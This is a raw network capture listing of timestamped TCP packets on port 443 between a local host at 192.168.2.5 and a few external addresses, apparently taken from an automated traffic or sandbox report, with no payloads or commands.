Jul 16, 2024 13:07:18.054265022 CEST	443	49943	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:18.155715942 CEST	443	49942	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:18.156009912 CEST	443	49942	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:18.156065941 CEST	49942	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:18.156892061 CEST	49942	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:18.156902075 CEST	443	49942	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:18.163155079 CEST	49949	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:18.163203001 CEST	443	49949	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:18.163275003 CEST	49949	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:18.163774014 CEST	49949	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:18.163805008 CEST	443	49949	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:18.308581114 CEST	49952	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:18.308657885 CEST	443	49952	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:18.308752060 CEST	49952	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:18.309000015 CEST	49952	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:18.309034109 CEST	443	49952	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:18.433371067 CEST	443	49945	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:18.433712006 CEST	49945	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:18.433734894 CEST	443	49945	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:18.434784889 CEST	443	49945	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:18.434856892 CEST	49945	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:18.435237885 CEST	49945	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:18.435311079 CEST	443	49945	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:18.435456038 CEST	49945	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:18.435472965 CEST	443	49945	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:18.481947899 CEST	49945	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:18.610016108 CEST	443	49945	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:18.610042095 CEST	443	49945	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:18.610049009 CEST	443	49945	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:18.610076904 CEST	443	49945	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:18.610100985 CEST	49945	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:18.610110998 CEST	443	49945	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:18.610132933 CEST	443	49945	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:18.610169888 CEST	49945	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:18.610169888 CEST	49945	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:18.610203981 CEST	49945	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:18.694736958 CEST	443	49945	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:18.694789886 CEST	443	49945	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:18.694832087 CEST	49945	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:18.694844007 CEST	443	49945	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:18.694860935 CEST	49945	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:18.694911003 CEST	443	49945	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:18.698688984 CEST	49945	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:18.741204023 CEST	443	49949	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:18.758516073 CEST	49949	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:18.758537054 CEST	443	49949	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:18.759654045 CEST	49945	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:18.759697914 CEST	443	49945	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:18.759787083 CEST	443	49949	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:18.761122942 CEST	49949	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:18.761256933 CEST	49949	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:18.761313915 CEST	443	49949	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:18.812711954 CEST	49949	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:18.931916952 CEST	443	49949	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:18.931951046 CEST	443	49949	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:18.932035923 CEST	49949	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:18.932112932 CEST	443	49949	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:18.932244062 CEST	49949	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:18.932276964 CEST	443	49949	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:18.932315111 CEST	443	49949	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:18.932374954 CEST	49949	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:18.934684992 CEST	49949	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:18.934717894 CEST	443	49949	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:18.982284069 CEST	443	49952	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:18.982630968 CEST	49952	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:18.982655048 CEST	443	49952	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:18.984118938 CEST	443	49952	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:18.984190941 CEST	49952	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:18.985116959 CEST	49952	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:18.985212088 CEST	443	49952	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:18.985408068 CEST	49952	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:18.985424042 CEST	443	49952	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:19.028997898 CEST	49952	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:19.091789961 CEST	49957	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:19.091825008 CEST	443	49957	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:19.091890097 CEST	49957	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:19.092700005 CEST	49957	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:19.092726946 CEST	443	49957	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:19.101579905 CEST	443	49952	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:19.101608992 CEST	443	49952	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:19.101680040 CEST	49952	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:19.101703882 CEST	443	49952	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:19.103411913 CEST	443	49952	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:19.103466034 CEST	49952	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:19.127861023 CEST	49952	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:19.127887011 CEST	443	49952	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:19.177782059 CEST	49970	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:19.177789927 CEST	443	49970	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:19.177881002 CEST	49970	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:19.178124905 CEST	49970	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:19.178133965 CEST	443	49970	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:19.848196983 CEST	443	49957	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:19.849137068 CEST	443	49970	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:19.853710890 CEST	49957	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:19.853730917 CEST	443	49957	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:19.854264975 CEST	49970	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:19.854274035 CEST	443	49970	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:19.855267048 CEST	443	49970	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:19.855319023 CEST	443	49957	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:19.855324030 CEST	49970	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:19.855382919 CEST	49957	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:19.859607935 CEST	49957	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:19.859766960 CEST	49970	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:19.859836102 CEST	443	49970	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:19.859844923 CEST	443	49957	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:19.860930920 CEST	49957	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:19.860944033 CEST	443	49957	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:19.860956907 CEST	49970	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:19.860965014 CEST	443	49970	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:19.904211998 CEST	49970	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:19.904211998 CEST	49957	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:19.965873003 CEST	443	49970	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:19.965892076 CEST	443	49957	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:19.965909004 CEST	443	49970	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:19.965938091 CEST	443	49970	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:19.965948105 CEST	443	49970	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:19.965956926 CEST	49970	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:19.965964079 CEST	443	49970	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:19.965984106 CEST	443	49970	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:19.965991974 CEST	49970	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:19.965996027 CEST	443	49957	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:19.966020107 CEST	49970	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:19.966032982 CEST	443	49957	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:19.966048002 CEST	443	49957	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:19.966058016 CEST	49957	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:19.966068983 CEST	443	49957	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:19.966099024 CEST	443	49957	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:19.966115952 CEST	49957	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:19.966136932 CEST	49957	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:19.966161966 CEST	49957	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:20.053118944 CEST	443	49957	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:20.053168058 CEST	443	49957	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:20.053203106 CEST	49957	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:20.053225040 CEST	443	49957	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:20.053258896 CEST	49957	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:20.053284883 CEST	49957	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:20.059695005 CEST	443	49970	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:20.059722900 CEST	443	49970	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:20.059767008 CEST	49970	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:20.059773922 CEST	443	49970	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:20.059806108 CEST	49970	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:20.059820890 CEST	49970	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:20.061187983 CEST	443	49970	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:20.061199903 CEST	443	49957	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:20.061203957 CEST	443	49970	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:20.061242104 CEST	49970	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:20.061248064 CEST	443	49970	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:20.061249971 CEST	443	49957	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:20.061305046 CEST	49970	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:20.061311960 CEST	49957	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:20.061335087 CEST	443	49957	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:20.061359882 CEST	49957	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:20.061386108 CEST	49957	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:20.140752077 CEST	443	49957	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:20.140805960 CEST	443	49957	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:20.140841961 CEST	49957	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:20.140861988 CEST	443	49957	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:20.140889883 CEST	49957	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:20.140912056 CEST	49957	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:20.142329931 CEST	443	49957	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:20.142374039 CEST	443	49957	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:20.142410994 CEST	49957	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:20.142424107 CEST	443	49957	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:20.142451048 CEST	49957	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:20.142491102 CEST	49957	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:20.143471956 CEST	443	49957	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:20.143513918 CEST	443	49957	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:20.143568993 CEST	49957	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:20.143584013 CEST	443	49957	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:20.143644094 CEST	443	49957	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:20.143651962 CEST	49957	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:20.143692970 CEST	49957	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:20.147494078 CEST	49957	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:20.147509098 CEST	443	49957	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:20.153353930 CEST	443	49970	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:20.153371096 CEST	443	49970	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:20.153407097 CEST	443	49970	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:20.153414965 CEST	49970	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:20.153422117 CEST	443	49970	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:20.153472900 CEST	443	49970	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:20.153481007 CEST	49970	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:20.153527021 CEST	49970	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:20.154859066 CEST	49970	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:20.154866934 CEST	443	49970	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:20.187169075 CEST	49985	443	192.168.2.5	13.107.246.60
Jul 16, 2024 13:07:20.187177896 CEST	443	49985	13.107.246.60	192.168.2.5
Jul 16, 2024 13:07:20.187253952 CEST	49985	443	192.168.2.5	13.107.246.60
Jul 16, 2024 13:07:20.187441111 CEST	49985	443	192.168.2.5	13.107.246.60
Jul 16, 2024 13:07:20.187452078 CEST	443	49985	13.107.246.60	192.168.2.5
Jul 16, 2024 13:07:20.193042994 CEST	49986	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:20.193063974 CEST	443	49986	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:20.193175077 CEST	49986	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:20.193380117 CEST	49986	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:20.193393946 CEST	443	49986	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:20.463095903 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:20.463119984 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:20.463206053 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:20.463768005 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:20.463781118 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:20.889189005 CEST	443	49986	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:20.890950918 CEST	49986	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:20.890964031 CEST	443	49986	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:20.890969992 CEST	443	49985	13.107.246.60	192.168.2.5
Jul 16, 2024 13:07:20.891184092 CEST	49985	443	192.168.2.5	13.107.246.60
Jul 16, 2024 13:07:20.891191006 CEST	443	49985	13.107.246.60	192.168.2.5
Jul 16, 2024 13:07:20.891999006 CEST	443	49986	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:20.892167091 CEST	49986	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:20.892841101 CEST	49986	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:20.892901897 CEST	443	49986	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:20.892925978 CEST	49986	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:20.894699097 CEST	443	49985	13.107.246.60	192.168.2.5
Jul 16, 2024 13:07:20.894831896 CEST	49985	443	192.168.2.5	13.107.246.60
Jul 16, 2024 13:07:20.895203114 CEST	49985	443	192.168.2.5	13.107.246.60
Jul 16, 2024 13:07:20.895277977 CEST	49985	443	192.168.2.5	13.107.246.60
Jul 16, 2024 13:07:20.895365953 CEST	443	49985	13.107.246.60	192.168.2.5
Jul 16, 2024 13:07:20.919667006 CEST	49996	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:20.919730902 CEST	443	49996	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:20.919842005 CEST	49996	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:20.920768023 CEST	49996	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:20.920795918 CEST	443	49996	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:20.940502882 CEST	443	49986	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:20.944638014 CEST	49986	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:20.944638968 CEST	49985	443	192.168.2.5	13.107.246.60
Jul 16, 2024 13:07:20.944647074 CEST	443	49985	13.107.246.60	192.168.2.5
Jul 16, 2024 13:07:20.944647074 CEST	443	49986	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:20.990703106 CEST	49986	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:20.990706921 CEST	49985	443	192.168.2.5	13.107.246.60
Jul 16, 2024 13:07:21.027302027 CEST	443	49985	13.107.246.60	192.168.2.5
Jul 16, 2024 13:07:21.027318954 CEST	443	49986	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.027324915 CEST	443	49985	13.107.246.60	192.168.2.5
Jul 16, 2024 13:07:21.027332067 CEST	443	49985	13.107.246.60	192.168.2.5
Jul 16, 2024 13:07:21.027352095 CEST	443	49985	13.107.246.60	192.168.2.5
Jul 16, 2024 13:07:21.027375937 CEST	443	49986	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.027390003 CEST	443	49985	13.107.246.60	192.168.2.5
Jul 16, 2024 13:07:21.027396917 CEST	443	49985	13.107.246.60	192.168.2.5
Jul 16, 2024 13:07:21.027396917 CEST	443	49986	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.027415037 CEST	49985	443	192.168.2.5	13.107.246.60
Jul 16, 2024 13:07:21.027422905 CEST	443	49985	13.107.246.60	192.168.2.5
Jul 16, 2024 13:07:21.027431965 CEST	49986	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.027440071 CEST	49985	443	192.168.2.5	13.107.246.60
Jul 16, 2024 13:07:21.027445078 CEST	443	49986	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.027460098 CEST	49986	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.027462959 CEST	49985	443	192.168.2.5	13.107.246.60
Jul 16, 2024 13:07:21.027466059 CEST	443	49986	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.027484894 CEST	443	49986	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.027487993 CEST	49985	443	192.168.2.5	13.107.246.60
Jul 16, 2024 13:07:21.027513981 CEST	443	49986	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.027517080 CEST	49986	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.027517080 CEST	49986	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.027549982 CEST	49986	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.027667999 CEST	49986	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.107254028 CEST	443	49986	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.107280016 CEST	443	49986	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.107397079 CEST	49986	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.107397079 CEST	49986	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.107409954 CEST	443	49986	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.107506037 CEST	49986	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.116074085 CEST	443	49986	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.116095066 CEST	443	49986	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.116261959 CEST	49986	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.116269112 CEST	443	49986	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.119286060 CEST	49986	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.119468927 CEST	443	49985	13.107.246.60	192.168.2.5
Jul 16, 2024 13:07:21.119496107 CEST	443	49985	13.107.246.60	192.168.2.5
Jul 16, 2024 13:07:21.119985104 CEST	49985	443	192.168.2.5	13.107.246.60
Jul 16, 2024 13:07:21.119992018 CEST	443	49985	13.107.246.60	192.168.2.5
Jul 16, 2024 13:07:21.120172024 CEST	49985	443	192.168.2.5	13.107.246.60
Jul 16, 2024 13:07:21.130851030 CEST	49997	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.130888939 CEST	443	49997	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.131831884 CEST	49997	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.133285999 CEST	49997	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.133297920 CEST	443	49997	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.135952950 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.136219978 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.136246920 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.136706114 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.137177944 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.137177944 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.137212038 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.137330055 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.186284065 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.199719906 CEST	443	49986	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.199784994 CEST	443	49986	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.199822903 CEST	49986	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.199831963 CEST	443	49986	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.199865103 CEST	49986	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.199918985 CEST	49986	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.199924946 CEST	443	49986	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.200033903 CEST	443	49986	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.201446056 CEST	49986	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.202692986 CEST	49986	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.202701092 CEST	443	49986	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.213922977 CEST	443	49985	13.107.246.60	192.168.2.5
Jul 16, 2024 13:07:21.213999987 CEST	443	49985	13.107.246.60	192.168.2.5
Jul 16, 2024 13:07:21.214036942 CEST	49985	443	192.168.2.5	13.107.246.60
Jul 16, 2024 13:07:21.214046001 CEST	443	49985	13.107.246.60	192.168.2.5
Jul 16, 2024 13:07:21.214071989 CEST	49985	443	192.168.2.5	13.107.246.60
Jul 16, 2024 13:07:21.214385986 CEST	49985	443	192.168.2.5	13.107.246.60
Jul 16, 2024 13:07:21.215420008 CEST	443	49985	13.107.246.60	192.168.2.5
Jul 16, 2024 13:07:21.215462923 CEST	443	49985	13.107.246.60	192.168.2.5
Jul 16, 2024 13:07:21.215500116 CEST	49985	443	192.168.2.5	13.107.246.60
Jul 16, 2024 13:07:21.215504885 CEST	443	49985	13.107.246.60	192.168.2.5
Jul 16, 2024 13:07:21.215620995 CEST	49985	443	192.168.2.5	13.107.246.60
Jul 16, 2024 13:07:21.216907978 CEST	443	49985	13.107.246.60	192.168.2.5
Jul 16, 2024 13:07:21.216923952 CEST	443	49985	13.107.246.60	192.168.2.5
Jul 16, 2024 13:07:21.217012882 CEST	49985	443	192.168.2.5	13.107.246.60
Jul 16, 2024 13:07:21.217019081 CEST	443	49985	13.107.246.60	192.168.2.5
Jul 16, 2024 13:07:21.217139006 CEST	49985	443	192.168.2.5	13.107.246.60
Jul 16, 2024 13:07:21.217528105 CEST	443	49985	13.107.246.60	192.168.2.5
Jul 16, 2024 13:07:21.217565060 CEST	443	49985	13.107.246.60	192.168.2.5
Jul 16, 2024 13:07:21.217593908 CEST	49985	443	192.168.2.5	13.107.246.60
Jul 16, 2024 13:07:21.217596054 CEST	443	49985	13.107.246.60	192.168.2.5
Jul 16, 2024 13:07:21.217808962 CEST	49985	443	192.168.2.5	13.107.246.60
Jul 16, 2024 13:07:21.223767996 CEST	49985	443	192.168.2.5	13.107.246.60
Jul 16, 2024 13:07:21.223778009 CEST	443	49985	13.107.246.60	192.168.2.5
Jul 16, 2024 13:07:21.247186899 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.247215986 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.247243881 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.247253895 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.247292042 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.247315884 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.247364044 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.247406006 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.247406006 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.247490883 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.337780952 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.337815046 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.337878942 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.337901115 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.337939978 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.338413000 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.339762926 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.339787006 CEST	443	49993	13.107.246.42	192.168.2.5
